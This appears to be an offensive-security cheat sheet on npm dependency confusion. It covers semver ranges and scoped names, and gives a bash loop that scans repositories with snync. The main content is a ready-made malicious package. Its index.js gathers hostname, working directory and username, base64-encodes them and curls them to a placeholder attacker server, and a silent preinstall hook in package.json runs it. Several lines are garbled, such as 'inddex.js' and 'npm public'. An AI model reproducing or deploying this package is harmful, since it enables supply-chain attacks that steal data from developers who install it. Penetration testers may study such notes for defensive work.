Info
"devDependencies" : {
"my_test_framework": "^3.1.0",
"another_dev_dependency": "1.0.0 - 1.2.0"
}
^
symbol indicates versions equal to or higher than the version listedPackage Scopes
@org-name/package
or @username/package
Exploitation
org-name/package
(without the @
)# !/bin/bash
# Set the base directory to the current working directory
BASE_DIR =$( pwd )
# Loop through each directory in the base directory
for dir in " $BASE_DIR " /*/; do
# Check if package . json exists in the directory
if [ -f "${ dir } package . json " ]; then
echo " Scanning repository : ${ dir }"
# Run the npx snyk command in the directory
npx snync -- directory " $dir "
else
echo " No package . json found in : ${ dir }. Skipping ... "
fi
done
Creating a Malicious package
index.js
:const { exec } = require("child_process");
exec("a=$(hostname;pwd;whoami;) && b=$(echo $a | base64) && curl -X POST {attacker-server} -d $b" , (error, data, getter) => {
if (error){
console.log("error", error.message);
return;
}
if (getter){
console.log(data);
return;
}
console.log(data);
});
package.json
:{
"name":"{vulnerable_package_name}",
"version":"{relevant_version_or_higher_if_^}",
"description":"",
"main":"main.js",
"scripts":{
"preinstall":"node inddex.js > /dev/null 2>&1",
"test":"echo \"Error: no test specified\""
},
"author":"asdasfasd.asfasdasfasd",
"license":"MIT"
}
npm public --access=public
and monitor attacker server